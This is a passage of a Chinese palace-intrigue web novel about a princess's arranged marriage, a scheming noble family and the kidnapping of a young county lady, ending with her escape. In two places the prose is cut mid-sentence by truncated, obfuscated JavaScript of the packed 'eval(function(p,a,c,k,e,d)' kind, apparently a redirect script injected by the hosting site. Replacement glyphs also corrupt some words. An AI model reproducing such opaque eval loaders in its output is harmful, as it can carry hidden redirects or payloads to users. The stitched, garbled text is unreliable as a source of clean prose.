吴文新见状,神色倒是缓和些许,呷了口茶,劝道:“既然殿下并不钟情与他,我看还是让他早日出府的好。殿下身边如今能人辈出,恐怕也不需要这样一个身份不明的人留在身边。” 宋庭玉皱眉:“先生何出此言?若是因为他南梁人的身份,我想大可不必……” “殿下自己看看吧。”吴文新打断她的话,从袖中拿出一卷文书来:“这是京兆府尹新报上来的案子,如今南梁王室动荡不安,不少百姓四散奔逃,其中就有偷偷越过两国边境,跑来我元夏的。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴文新知道她是什么意思,苦笑道:“殿下,王侯大家子女的婚事尚且由不得自己做主,更何况是您呢。曹文益虽不堪为良配,可殿下看中的应是他背后的家族。” 宋庭玉冷笑:“家族?如今王都几大世家,可有哪个姓曹?” 吴文新叹了口气:“可陛下圣旨在前,殿下也不能不从,为今之计,只有化不利为万利,方是上策啊!” 宋庭玉神色一下子变得难看起来,半晌才淡淡道:“先生说的,本宫会考虑的。” 吴文新也知道此时多说无益,如果没有真正触及到核心,她是万万不会想将曹文益招为驸马的,可在吴文新自己看来,婚事不过也是一桩可以利用的跳板,只要可以达到自己的目的,没有什么是不可以放弃的。 他心烦地看了宋庭玉一眼,知慕少艾的年龄,实在是麻烦极了。 宋庭玉不知道他心里打的什么算盘,送走吴文新后,一个人沉思着进了书房。 “吱呀。” 不知过了多久,书房的门被人轻轻推开,一个飘着浓郁香气的食盒被人送了进来。宋庭玉抬起眼睛懒懒看了一眼,没有动作。果然,不一会儿,食盒的主人也从门外探了一个脑袋进来。 “殿下,吃点东西吧。” 宋庭玉目光沉沉地看着他,往日里十分寻常的举动如今在她眼里带上了意味深长,在桌边忙忙碌碌,突然问:“你为什么会来元夏?” 林徵鸣动作一顿,抬起头,似乎不知道她为什么这么问,想了想笑道:“因为在南梁过不下去了。” “怎么会呢?你有才华、会作诗,又会医术,怎么会过不下去?如果真的是过不下去了,你身边那个跟着你的人,又怎么会一副公子哥儿的做派?” 林徵鸣沉默不语,将食盒里的东西拿出来,一一在桌上摆好,一碗香喷喷的鸡汤小馄饨,一碟酱菜,是宋庭玉惯常爱吃的。他想了想,轻声问:“殿下为什么忽然这么问?可是有人说了什么” “没怎么,只是从没听你说起过自己的来历。”宋庭玉神色淡淡,看着他独自忙活,并不起身。 林徵鸣低头,像是没听到她的问话,径自忙活手里的事,又或者是听到了,但却不知道怎么回答。宋庭玉审视地看着他一遍遍将已经摆放整齐的碗筷重新调整位置,仿佛碗筷上有什么不得了的新鲜发现,一定要两耳不闻窗外事地认真检视。 她不说话,神色淡淡,坐在桌前将他再一次摆正位置的小碗一挪。 “砰!” 碗底和桌面轻磕,发出清脆的声响,在没有人说话的房间里显得异常突兀。 林徵鸣动作一顿。 宋庭玉垂目,拿起瓷勺,舀了一颗馄饨,放在嘴边吹了吹,慢条斯理地仿佛什么都没有发生。 她向来自诩有耐心,对林徵鸣又有些不同于其他人的纵容,只要他开口,她是很愿意给他一个辩白的机会的。 只是—— “殿下慢用,我先退下了。” 宋庭玉讶然抬头,他在两人俱是沉默的时间里不知道想了些什么,总之,他一句多余的解释也没有说,端端正正行了个礼,显得别扭又疏离,而后退出门外,轻轻带上房门。 她“啪”地将瓷勺扔进碗里,气极反笑。 22. 意外 先前景元帝病着的时候,常常让宋庭玉给自己念奏折,一些简单的、可有可无的请安折子,就顺手让她批了,只是近日景元帝精神头恢复了不少,不需要她去日日侍疾,故而宋庭玉还是往常一样,去文渊阁听学。 文渊阁坐落于皇城西边的一处院落,距离皇城不过百步距离,方便各位大人处理政事。一进大门,是一处汉白玉的影壁,转过影壁就是二门,门口有护卫把守,寻常人不得入内。一般去藏书楼的史官、学子之类,只需拿着大学士特批的条子,从角门进入后院,就能绕过正堂直接进入藏书楼。 今日没有朝会,六部尚书皆需在文渊阁议事,此时宋庭玉和太子需在一旁聆听,可发表意见,但没有决策之权。 一大早,宋庭玉就到了文渊阁门口,如往常一样进了大门,不料却被人拦在了二门外。 “什么意思?”宋庭玉挑眉。 拦住她的侍卫显然是个新来的,并不认识宋庭玉,还以为她是哪个勋贵世家来读书的女子,心里奇怪从不见有女子到文渊阁读书的,但面上还是和和气气道:“藏书楼在后院,需从角门经过,不可直接从正堂进入。” 宋庭玉上下打量他一番,道:“你是新来的?本宫去的就是正堂。” 那守卫一听她自称本宫,登时明白过来这位就是昭平公主,当下行礼赔罪道:“小人有眼不识泰山,殿下恕罪。” 宋庭玉摆摆手:“无妨。”说着就要进去,不料再一次被守卫拦下。她皱眉看去:“又有何事?” 小守卫暗道倒霉,怎么让自己遇到这种得罪人的事,硬着头皮道:“殿下恕罪,小人今日接到上面的消息,正堂除了太子殿下与各位大人外,任何人不得进入。” “是谁说的?” “这……这,小人也不太清楚。” 宋庭玉见那守卫战战兢兢,一副被吓坏了的样子,无语道:“你抖什么,本宫又不会吃人。算了,你们将军呢?” “殿下!”身后传来一个低沉浑厚的男声。宋庭玉回过头,来人正是羽林卫统领范全,负责皇城以及文渊阁的日常巡逻护卫。 “范将军。”宋庭玉点点头。 范全行了个礼,歉意道:“殿下恕罪,他是新来的不懂规矩,多有得罪。” 宋庭玉不在意道:“无妨。只是出了何事?为何不公不可进去?” 范全面露难色:“殿下,此时说来也怪,臣是昨日傍晚接到大学士的消息,言陛下有旨,日后文渊阁除了太子殿下与六部大人外,其他人不可进入。”他这话说得委婉,可日常除了这些人,能进入文渊阁的也只有宋庭玉了,显然,这道圣旨是针对她的。 “从大学士处传出来的吗?”宋庭玉凝神思索,吴相断不可能假传圣旨,只能是昨日从自己府中离开后,又去陛下处请了旨意,她想起昨天吴文新让自己安心嫁给曹文益的一番话,眼神暗了暗。 “一大早的,何人在文渊阁重地喧哗?哦,我当是谁这么大胆子,原来是皇妹啊!” 宋庭玉回头,就见一个身着华服的男子大摇大摆地走了进来,一身金红绣云纹蟒袍,脸上带着得意,正是当朝太子、宋庭玉的异母兄长宋庭璟。 身边两人立时行礼:“见过太子殿下。” 宋庭璟扫了两人一眼,故意大声道:“范将军,陛下昨日下旨文渊阁不许闲杂人等进入,怎么,你们是想抗旨不遵吗?” 范全和小护卫立时低头,齐称不敢。 “不过是解释几句罢了,皇兄何必咄咄逼人?”宋庭玉淡淡道。 宋庭璟转过身,上下打量了宋庭玉一眼,轻蔑道:“皇妹身为待嫁之女,不在自己府中安心备嫁,还四处乱跑,成何体统!” “皇兄慎言。我朝皆是公主招婿,先君臣后夫妻,本宫乃公主,驸马乃皇室的臣子,何谈下嫁一说?皇兄这是置我皇室的颜面于不顾吗?” “你!”宋庭璟指着她,一时语塞,不知如何反驳。半晌,冷嗤道:“你有什么可得意的,如今文渊阁也进不去,可见父皇是厌烦你如此不安分,好妹妹,你还是安心回去吧!想想日后如何为曹家公子操持家室,对了,孤可听说……”他露出幸灾乐祸的神色,靠近宋庭玉的耳边,低声道:“你那好驸马今日又去了绿歌坊,你可知,那是个什么地方?” 宋庭玉神色淡淡,瞥了他一眼:“本宫不需要知道。” “哼,孤看你还能嘴硬到几时!”他瞪了宋庭玉一眼,看也不看身边一直低着头的范全二人,大摇大摆进了屋。 宋庭玉看着他的背影若有所思,半晌收回目光,冲二人点点头,径自离去。路上遇见几位大人的马车,只是不见中书令吴文新的。他自升至右相以来,一直兢兢业业,不敢有一时片刻耽搁,从未听说因为自己的私事不参与议事,如今时辰已到,却不见人,想来,是在躲着自己吧。 宋庭玉想起他昨天的话,握了握拳。 回到府中,并不见林徵鸣,陈伯说科考将近,他去了庄子上,宋庭玉冷笑,知道他是没想好说辞,所以故意躲着自己。心想:随他去吧,最好一辈子别回来!她无所事事地在书房转了转,不过一盏茶的功夫,忍冬进来低声道:“殿下,荣安县主求见。” 宋庭玉疑惑:“她来干什么?” 忍冬摇摇头,补充道:“一个人来的。” 王都如今谁人不知景元帝给昭平公主和曹家公子赐婚的事情,而荣安县主又是曹文益的表妹……忍冬腹诽:还没进门呢,这就来找嫂嫂了吗? 宋庭玉自问除了上次畅和园春花宴,与荣安这群小姑娘并无交集。她们比宋庭玉小上四五岁,又各个是家中的掌上明珠,天真烂漫,不谙世事,宋庭玉看她们就像看小妹妹。 她想起宫中传出来的消息,颖贵妃在养心殿触怒圣上,从位同副后的贵妃被褫夺封号贬为六品宝林……难道是为了这件事? 她点点头,走了下来:“请进来吧。” 荣安惴惴不安地跟在忍冬身后进了堂屋,低着头行了礼,忐忑不安地站在下首。 她对宋庭玉这位公主的观感很复杂。她贵为皇室之女,理应为天下女子表率,可总是做出些惊世骇俗的事情来。家里长辈面上对她恭恭敬敬,背地里却说她行事荒唐、不守妇道。□□安却隐隐有些羡慕,因为她能随心所欲地做自己想做的事,拒绝自己不喜欢的事。在听到昭平公主与哥哥曹文益被赐婚的消息后,她第一反应是高兴,那时她才意识到,自己是很喜欢这位公主的,若是能与她成为一家人,简直是再好不过的事了。 只是很快,这份高兴背担忧取代。作为曹文益一母同胞的妹妹,她哪能不知道自己哥哥是个什么货色?若昭平公主成了自己的嫂嫂,岂不是有受不完的气? 她暗自纠结许久,根本没有意识到这不是她能左右的事。 少女的忧愁总是很快就能被新的快乐取代,只是她没高兴几天,宫里就传来消息:她的姑母、颖贵妃娘娘,被陛下贬斥,如今禁足熙宁宫。 承安侯府并不是王都有名的世家大族,全靠颖贵妃一人才得到无上恩宠。如今,贵妃倒了,曹家的靠山就没了,全家上下惶惑不安。这时,荣安突然想起,李幼宜曾说过一件事。 她说春花宴那日,她同林先生说了些挑拨离间、很是失礼的话,事后发现竟被昭平公主听了去,她又惊又怕,慌不择路走进林子里,心里羞愧不安,忘记了自己对百合不服的事,才出了事。幸好昭平公主心地善良、不计前嫌地救了她的命。 荣安醍醐灌顶,突然意识到,还有一个人可以帮她。 只是到了公主府,对上宋庭□□若观火的眼睛,她心里突然涌上一阵惭愧,不知如何开口。 宋庭玉观她神色,已经猜到她要说什么了,只是没想到一家的水米竟然能养出两样的人来,荣安与曹文益竟是如此迥异的一对兄妹。 她笑了笑,温声道:“坐吧,给县主看茶。”待人都下去了,才笑问:“县主今日来,是有什么事呢?” 荣安在椅子上不适地动了动,鼓起勇气道:“殿下,求您救救姑母吧。” 果然。 宋庭玉哑然,脸上的笑淡了几分:“县主也知道,本宫只是一个早早搬出宫外的公主,在陛下面前说不上话,曹宝林的事,恕本宫无能为力。” 荣安没想到她拒绝地如此之快,眼神暗了暗,失落道:“是荣安逾矩了。殿下恕罪。” 宋庭玉看着她满脸担忧,不由唏嘘。曹曦月身为曹家长女,少时进宫,一路恩宠,为曹家带去了无数荣华富贵。如今一朝出事,为她奔走求情的,竟是个小姑娘。 她不知如何面对曹曦月这个人,总觉得她身上充满了谜团。她对自己有着超出贵妃身份的亲近热情,可是宋庭玉却能感觉到这份热情之下的恐慌。所以,她在恐慌什么? 淑妃让自己不要与曹曦月走得太近,又是什么意思? 她不确定曹曦月同母亲的死有没有关系,只是凭直觉感受,她不是一个心狠手辣之人。 正思量着,却见荣安起身,走到自己身前,深深行了一礼:“荣安不欲求人做难为之事,不求殿下能在圣上面前说些什么。只是姑母自被禁足那日就卧病在床,宫里那些捧高踩低的奴才,见姑母失势,家世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋庭玉将她送出房门,见她转过身,神情犹豫,纠结半晌,才低声道:“殿下,虽然陛下圣旨难违,但若有转圜的余地,还是请殿下还是想想办法,一定一定不要嫁给我哥哥。” 宋庭玉稀奇地看她一眼,笑问:“为什么啊?” 荣安抿了抿唇,见宋庭玉神情温和,并不半点被冒犯之意,才轻声道:“我同殿下说了,殿下不要告诉我家里人。我哥哥绝非良配,殿下光风霁月,一定会有更好的人配得上殿下。”她一个闺阁少女,说起这样的话来有些害羞,脸色微微发红,但还是认真道:“我家中就这一个哥哥,父亲母亲宠坏了他,他文武不成,日后没有出息的。” 宋庭玉看她一面一本正经地偷偷说兄长坏话,一面又面露难色,仿佛这样很不好似的,很有几分少女的天真,不由逗她道:“那你觉得,什么样子的人才配得上本宫?” 荣安正色道:“自然得是极有本事的王侯将相,或立于朝堂有力挽狂澜之能的中流砥柱,或战于沙场能率千军万马的金甲将军,还要一心一意对殿下好的。” 宋庭玉“扑哧”一笑,敲了敲她的脑门,故意斥道:“你一个小姑娘,就不要操心这些了,回去好好念书才是正经事。” 荣安诺诺称是,笑着上了马车,临走前从窗里探出一个脑袋,朝她不住挥手,圆润如珠的脸颊在夕阳下似乎泛着光。 “小女孩儿,可真是好哄啊。”宋庭玉啧啧感叹。 忍冬也笑道:“荣安县主与曹家的所有人都不一样呢,如此天真烂漫的性子,想必在家里一定极受宠爱。” 宋庭玉想到曹家人对曹曦月的态度,冷冷一笑,摇摇头道:“未必。” 未成想,一语成谶。 荣安走出公主府,只觉得一腔心事终于吐露干净,整个人轻松畅快许多。她没有姐姐,上面只有一个不着调的兄长,家中父亲老而不尊、行事荒淫,母亲又一心扑在兄长身上,顾不上她,她虽有一个县主爵位,也不过是华而不实,身边除了幼宜、青禾两个小姐妹,只有一个姑母对她好,她满腔孺慕之情都付予曹曦月,如今,只觉得宋庭玉好像一个大姐姐,让她忍不住想要依赖。 她脚步轻盈地走出公主府,想着要回去告诉幼宜,公主夸她书读得好呢。 她自己一个人偷偷跑出府的,自然不敢坐马车,好在公主府和承安侯府并不算远,半个多时辰也就走到了。 天色渐暗,她走进一条巷子里,闻见一股淡淡的香,还没来得及分辨是什么香,就感觉眼前一黑,一双手蒙住了她的脸,她立刻失去了意识。 三日后,曹家的人找上门来。忍冬一边疾呼一边往书房赶: “殿下,不好了,荣安县主不见了!” 23. 讹诈 曹府的人找上门时,宋庭玉正在看淑妃的来信。这位喜爱荷花的娘娘性格一点都不似荷花一样淡然平和,反而带着几分江湖侠气,同宋庭玉相认后,像是终于有了一个可以释放天性的人,说话更加不像一个在后宫中待了半辈子的高贵女人。 没错,宋庭玉的确在后宫说不上几句话,但好歹有一个宛姨娘在。荣安的请求,她找的不是别人,正是淑妃陈宛华。 不出所料,淑妃果真勃然大怒,在信中先是骂宋庭玉耳根子软,别人求了几句情,就开始动摇。又感叹皇宫里的人官场捧高踩低,曹曦月享乐半辈子的福.现在却要受这种折磨,责怪皇帝不留情面,颇有些物伤其类之感。 另外,她还写道,世人皆传颖贵妃独得圣宠,可她看来却非如此。每每遇上陛下,曹曦月皆面带不安,隐隐有恐惧之色。她不让宋庭玉与她走得太近,正是因为她像是藏着什么秘密。她怀疑曹曦月有什么把柄握在皇帝手里。 宋庭玉将淑妃的信件放在一边,把柄吗,她想,曹曦月会有什么把柄握在皇帝手里,究竟是曹曦月的把柄,还是皇帝自己的把柄呢? 忍冬走进来,急声道:“殿下,曹家来人了,说荣安县主不见了。” “什么?什么叫不见了?”宋庭玉起身惊道。 忍冬道:“承安侯和夫人此时已经在正厅等着了。奴婢早上出门去,城里已经闹得沸沸扬扬,说荣安县主被歹人绑架了,现在下落不明呢!” 宋庭玉往正堂走的脚步一定,看着忍冬,怒道:“沸沸扬扬?谁传出去的?她一个姑娘家家,承安侯就眼睁睁看着?” 忍冬也是一脸气愤,恨恨道:“哪能呢!就是他们自家人传出去的,说前日县主从家中跑来咱们府上,之后便下落不明了。昨日承安侯府派了一群人满大街地找,又是贴告示又是四处打听。如今他们夫妇二人一大早上门来闹,属下看着是兴师问罪的样子,恐怕要讹上我们呢!” 宋庭玉一听就明白曹家人打的什么算盘,曹曦月倒了,他们曹家在朝中又无人为官,这是忙着给自己找靠山呢。 忍冬摇摇头,气道:“这般做事未免太令人不齿,县主还没出阁呢,将绑架一事闹得满城风雨,以后还怎么定亲?这家人真是不将女儿当人看。” 宋庭玉冷笑:“若是将女儿当人看,就不会急急忙忙把曹曦月当作一枚弃子,任凭她在宫中自生自灭了。” 两人来到正堂,就见承安侯夫妇二人坐在下首的椅子上,承安侯年过花甲,身材肥胖,两条腿仿佛支撑不起身体的重量,拄着根拐杖,坐在椅子上浑身肥肉都颤颤巍巍,脸色通红,一看就是被酒色掏空了身体。承安侯夫人打扮得倒是年轻,只是神情严肃,面色刻薄,像是个不好说话的。 听闻承安侯年轻时在王都中是出了名的酒色之徒,只是无论在外怎么寻花问柳,家中只有承安侯夫人一个正房太太,下头一子一女皆是嫡出,由此可见承安侯夫人手腕高明。说来好笑.承安侯不知多少次因欠了花楼的账,被太太灰溜溜赎回家,可就是因为没有纳妾,京中不少读书人谈起承安侯都赞他夫妻二人伉俪情深、情比金坚。不知道别人怎么想,宋庭玉听着怪像讽刺的 宋庭玉径直走到上座,夫妻二人起身给宋庭玉行礼,她安坐在堂上,不避不让,端端正正受了。 承安侯夫人心下不满,已经有陛下降旨,将昭平公主嫁给她家文益,再怎么说,他们也是昭平公主的婆家长辈,怎么能这样受了礼 承安侯倒是没什么感觉,毕竟这是他们家以后要攀上的皇室中人,虽然曹曦月这个妹妹不争气在御前失了宠,但好在还有一个昭平公主,他只在乎自己以后还能不能在京中各大销金窟里眠花宿柳。 宋庭玉扫了一眼二人的表情,结果忍冬递来的茶水,慢条斯理喝了一口,抿了抿唇,再喝一口,接过帕子拭了拭唇角,将茶杯放在桌上,发出"砰"的一声。 承安侯夫人心下一抖,只感觉魂都颤了一下。 宋庭玉听了半晌,才幽幽道:"免礼,这一大早的,承安侯和夫人突然上门,本宫也没什么准备。坐下说吧。" 承安侯夫知道宋庭玉这是在责怪他们没有帖子贸然上门,失了礼数。心下更是不满,说话也带了几分呛人:"殿下见谅,我们荣安昨日就不见了,我们夫妇二人心中焦急,失了礼数。还望殿□□谅一腔父母心。" 宋庭玉像是没听懂,挑眉道:"哦?荣安县主不见了?那二位应该去京兆尹啊,到本宫府上来是做什么呢?" 承安侯夫人没想到宋庭玉说话这样直白.她在京中这么多年,与高门贵妇打交道,说话都是弯弯绕绕、让人揣摩的,没想到这昭平公主竟是这样的,她不满,觉得宋庭玉果真是从小养在宫外,没有一点宫廷小姐的礼数。 承安侯觉得夫人的话说不到点子上,粗声粗气道:"近来府中不许荣安和她哥哥随意出门,知两天前荣安竟然偷偷跑了出去,有人看到她来了公主府,之后从府里出去就不见了。毕竟是闺中女儿家家,闹到官府不好看,于声名有损,我们自己也派人找了,还在城中贴了告示,但两天过去还是不见人。想问问殿下可否知道荣安去了哪里?" 忍冬听着,直觉莫名其妙,不敢报官,倒是敢贴告示,摆明了讹人呢。 宋庭玉好笑道:"你也说了,她是从我公主府出去之后才不见的,怎么,老侯爷是怀疑是公主府绑了人?" 承安侯忙道:"不敢,只是人毕竟是来过公主府,想必殿下也有一定责任。" 宋庭玉从未这样胡搅蛮缠之人打过交道,饶有兴致道:"那你说说.要本宫如何承担责任啊?"承安侯觉得宋庭玉不按常理出牌,怎么不顺着他往下说呢? 承安侯夫人道:"公主殿下,臣妇不会说话,望您见谅。咱们关起门来说自家话,荣安毕竟是从公主府出来找不见的,您怎么说,也是荣安的大姑姐,这……" "老夫人慎言!殿下金尊玉贵,岂是你们胡乱攀扯的?"忍冬厉声打断,仿佛承安侯夫人说的是什么不堪入耳的话,生怕污了她家殿下的耳朵。 承安侯夫人一滞,万万没想到不过一个丫鬟也能随便打断自己说话,又见宋庭玉面色如常,没有半分责怪之意,心中恼怒,真是不成体统,不把自己放在眼里,嘴里哪囔道:"不都是亲戚,有什么不能说的……" 宋庭玉可不管她在想什么,淡淡道:"如今即便父皇有旨,钦天监那边也还未定下日子,即便是日后贵府真同父皇做了儿女亲家,也要讲尊卑之礼,就像曹氏如今虽未父皇妾室,你们总不能在父皇面前拿正经岳家的架子吧。" 承安侯一听,忙起身行礼道:"不敢,不敢,是拙荆失言了,自然是先君臣后父子,臣一家腆尚公主,已是满门荣耀,不敢造次。只是荣安毕竟是女儿家,如今下落不明,怕是已于名胜有损,日后还要仰仗公主殿下。" 忍冬心想:如今这满城风雨的,还不是你们自己作的。 宋庭玉听承安侯话中有未尽之言,挑眉道:"哦?如何仰仗本宫?" 承安侯实在是怕了宋庭玉这逼人自己说话的样子,只可意会不可言传的王都社交潜规则在她这里根本行不通,只好艰难道:"荣安也是我们捧在手心里的掌上明珠,如今遭此劫难,日后难寻夫家,听闻公主府上有一门客,人品才学俱佳,若能同殿下做成这桩亲事,不失为一件美事。" 承安侯夫妻两个算盘打得好,昭平公主身后有敬慈夫人和威远大将军撑腰,如今又得陛下频频赏赐,日后定然不会差,荣安若能嫁给公主府的门客,他们一家就算是牢牢绑在了昭平公主这颗大树上,日后荣华富贵定是不会缺。 宋庭玉简直要气笑了,这下算是懂了荣安对她父母的评价还是委婉了些,毕竟子不言父母之过,这两个老货,为了荣华富贵,连亲生女儿的幸福都不顾。她自然知道林徵鸣是个正人君子,可是毕竟没有一官半职,还是个南梁出身、底细不明之人,他们就能这样轻易将女儿送出,实在是可恨至极。 宋庭玉怒极反笑,冷冷道:"看来二老已经打听好了,连我 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“那条巷子穿出去就是御街,比走大路回承安侯府近的多,想来县主是想抄近道回家,结果在巷子里出了事。”护卫回道。 宋庭玉摆摆手让人下去,沉吟片刻:“已经隔了两日,就算是路上留下了什么线索,恐怕也已经找不到了。”她想了想,还是摇摇头道:“忍冬,你觉不觉得很奇怪?” 忍冬摇摇头:“属下愚钝,不知殿下所想。” 宋庭玉起身,原地踱了两步,才道:“荣安一失踪,他们家里人就大张旗鼓地满世界找人,丝毫不在意荣安的名声,其中固然有向公主府耍赖的意思,但为何不报官呢?” 忍冬试图跟上她的思路,却还是不解道道:“也许是怕闹到官府,会不好收场?” 宋庭玉摇摇头:“承安侯虽不是什么实权侯爵,但也是皇上亲封的,曹宝林一朝败势,但毕竟已经荣宠十余年,在京中余威犹在,京中做官的不像宫侍那么眼皮子浅,三十年河东三十年河西,万一曹宝林又起复了呢?所以,报官对于他们来说是找到荣安最快的办法,哪怕是私下里找京兆尹,也能尽快找到人。可是,他们竟然什么都没做,就单单来找了本宫,为什么呢?” 忍冬还是一脸茫然,不知道她究竟想说什么。 宋庭玉直接道:“他们一心想着占公主府的便宜,对自家女儿的失踪并不太在意,除了本心冷漠之外,恐怕他们知道,荣安县主并不会有危险,至少是,暂时不会有事。” 忍冬精油道:“难道说,荣安县主的失踪,说来说去,问题还是出在他们自己人身上?” 宋庭玉点点头,片刻后又叹息一声:“终究只是本宫的猜测罢了。” 两人正说着话,就听有人轻轻扣了扣门,听到应声后,那人轻手轻脚地探了半个身子进来,原来是陈伯。他看了一眼宋庭玉的脸色,低声道:“殿下,午时到了,该用膳了。” 宋庭玉疑惑:“平日也不见你这么急着来叫,今儿个是怎么了?” 陈伯脸上露出一个尴尬的神色,很是懊恼自己怎么昏了头,答应了那人替他做这事。只是顶着公主的目光,又不得不说,只好犹犹豫豫,和盘托出:“是林先生让我来叫您的。” 宋庭玉气笑了:“本宫倒是不知道他在这府里有这么大的能耐,连你也能使唤了?” 陈伯不敢回嘴,只在心里偷偷嘀咕:若不是您对他处处特殊,非同一般,我们也不会这样啊!说来说去,还不是看主子的脸色。 忍冬偷偷望了宋庭玉一眼,又看了看一直在给自己使眼色的陈伯,只觉自己左右为难。按理说她不该忤逆殿下的意思,只是明眼人都能看得出来,殿下这是和林先生闹了别扭,她们作下人的,夹在中间左右为难。 想了想殿下平日对林徵鸣的态度,忍冬不敢看宋庭玉,低声嗫嚅:“殿下,不然还是先去用膳吧?太医说了,您得按时吃饭、按时睡觉。” 宋庭玉瞪她一眼,咬牙切齿:好哇,不过几日的功夫,就将本宫身边的人收买个遍,我倒要看看,你有什么话要说! 25. 匪徒 林徵鸣醒来的时候,只觉脖颈酸痛,仿佛要断了一般,一瞬间有些喘不上气来。他在原地调息片刻,才缓缓睁开眼睛。 “醒了?” 身边传来一个沙哑的声音。 林徵鸣一惊,回头看去,就将荣安斜靠在一边,双手被缚,形容狼狈。 他转看了看,见四周是一处废弃的破庙,他们两个皆被绑着双手,扔在供桌前,他抬高了头,看见一尊已经破败的泥胎土地像。 “已经到王都外了。”他低声道。 荣安也不在意他是怎么知道已经出了王都的,吸了吸鼻子问: “你怎么也被抓了?” 林徵鸣想起巷子里的那一幕,叹了口气:“一言难尽。” 四下无人,他侧耳听了听,隐隐约约能听到破庙外面有说话的声音,还有火烧木柴时发出的噼啪声。 “他们有四个人。”荣安哑声道:“是王都一家赌场的打手,他们四个是底下办事的,上面还有一个老板,我没见过,但是听他们说过话。” 林徵鸣皱眉,看荣安一脸平静,仿佛在叙述与自己无关的事情: “我还听到了兄长的声音,他来给他们送钱,还有送吃的,有好几次。这次,应当是我连累你了,对不住。” 短短三日,她内心不知道经历了怎样的惊涛骇浪,或许已经明白了事情的始末,又或许依然不清楚自己为什么会被绑架、兄长曹文益与这帮匪徒是什么关系,但对她而言可能已经不重要了。 “这几日,爹娘有没有找过我?” 林徵鸣看着她的眼睛,映着窗外透进来的月光,亮晶晶的,好像有什么在眼睛中流动。 他沉默片刻,还是如实道:“他们在城中发了告示,派人四处打听,第二日找来了公主府。” 荣安眼睛里的光消失了,她低下头,不知道在想什么。 林徵鸣思索片刻,这帮人既然是王都赌场老板手下的打手,那此番绑架就是图财,此时已经出了王都,不知道接下来还会被他们带到什么地方去,若是再拖久一点,恐怕迟则生变。 他瞬间就有了决断,凑到荣安身边,背过身道: “我袖笼里有一把匕首,你试试看,能不能帮我割开绳子。” 荣安一惊,还没有从伤感和失望中回过神来,听见林徵鸣镇定的语气,手已经不由自主地开始动起来。 她从小身子柔软,背过身子时看能偏着头微微看见身后的情景,使劲儿一番,终于在林徵鸣的袖口处找到了那把精巧的匕首。 她手掌换了个方向,拿到匕首,林徵鸣使劲一蹭,刀鞘掉落,她艰难地在绳子中间摩擦着,好在这匕首极其锋利,堪称削铁如泥,林徵鸣只觉得手腕上一松,立刻将捆缚双手的额绳子挣开,又回身替荣安割开了绳子。 荣安活动活动已经僵硬的手腕,低声问: “你在殿下身边的时候,也是随身带着这等凶器的?” 林徵鸣看她一眼,淡淡道:“若没有这把凶器,你我只能任人宰割。” 荣安听出他有敷衍之意,只是现在情况危急,只能暂时按下。 那四个匪徒十分自信,见绑的是一个小姑娘和手无缚鸡之力的书生,心下本就已经放松了警惕,根本没想着在庙里留个人看着。再加上这几日看管荣安,几个人窝在那个破屋子里,已经疲惫透顶,满腹牢骚,这会儿在庙外的空地上升起一簇篝火,烤两只野鸡,喝几口酒,好不自在快活,哪里还记得里面的人。 林徵鸣带着荣安,小心翼翼地摸到破庙的后门,还好这庙破得十分彻底,后门上并没有锁,只是微微掩着。林徵鸣轻手轻脚地推开一条门缝,腐朽的木门在月光下发出"吱呀"一声,他顿了顿,迅速闪身出去,荣安见状,紧随其后。 “什么声音?” 那个大胡子匪徒喝酒的手一顿,侧耳听去。 “哪有什么声音,你喝多了吧!” 另外一个答道,他抱着酒坛,已经醉眼朦胧。 烤着火啃着一只鸡腿的那个道:“荒郊野岭的,有点声音很正常。” 那个醉眼朦胧的眼睛都睁大了:“你可不能乱说啊,呸呸呸!” 大胡子匪徒瞪了几人一眼,将酒坛放在地上起身道:“我去看看。” 说着大步往破庙里走去。吃鸡那个翻了个白眼,几人都是打手,偏偏他要装出一副老大的做派,晦气! 拿起酒坛正要再喝,就见那个大胡子急匆匆跑出来,喊道:“还喝屁,人跑了!” 他抄起火堆边的刀,转身追去。 剩下三个一个激灵,紧跟着站起来,提刀追去。那个喝醉的跑得摇摇晃晃,坠在后面喊:“你们等等我!” 林徵鸣带着荣安,越过大路,专往小树林子里跑。一丛丛灌木生得张牙舞爪,荣安没有林徵鸣身材高大,飞速跑动见,树枝一丛丛抽打在她的脸上,她只作不觉,尽力跟上林徵鸣的脚步。 远处,传来几声野狼的吠叫,在空旷无人的深夜密林里显得凄厉,令人毛骨悚然。 宋庭玉几人策马飞奔,狼犬在一处小庙前停下,四下嗅了嗅,还要往里走。几个护卫冲进破庙里,拿了两截断掉的绳子出来,道:“殿下,是刀割断的。” 宋庭玉策马转身:“篝火还未熄灭,没走远,追!” 说着驱马往庙后的林子里追去。 林中寂静无声,借着月光宋庭玉看到地上的乱草倒伏,有被踩踏过的痕迹,应该就是这伙人。 她料想起林徵鸣断不会做一道比我,只是他毕竟是一个不会武艺的读书人,不知道对方有几个人,那两节绳子应该是林徵鸣和荣安割断的,说明他们已经逃了,两个人不知道能在林子里坚持多久。 她有些焦心,怕那几个匪徒恼羞成怒,谋财不成转而害命。几个护卫在林中搜寻,宋庭玉鼻尖一动,闻到一股酒味儿。 转头看去,见草丛中窸窸窣窣有什么东西在动,她眼神一厉,挥鞭一抽,草丛中惨叫一声,滚出一个人来。那人本抱着酒坛子,滚出来时坛子打翻在地,酒业汩汩而出,那人心疼地看着洒了一地的酒,高声呼道:“我的酒!” 宋庭玉见那人喝得脸色通红、醉眼朦胧,还没明白发生了什么事儿呢,厌恶地看他一眼,命人将他绑了,接着往林子里搜寻。 荣安被绑了三日,每日只有晚间的时候才会有人扔给她一块干硬的饼,她平日里娇生惯养的,为了保存体力,竟也慢慢地吃了下来。只是毕竟食物有限,又跟着林徵鸣在林子里跑了许久,心情紧张,眼前一花,脚下一软,就扑倒在地。 林徵鸣知道那群匪徒已经发现他们逃走了,他们只有四个人,这山林十分广阔,只要在这山中熬过一夜,第二天他就能跑出去。 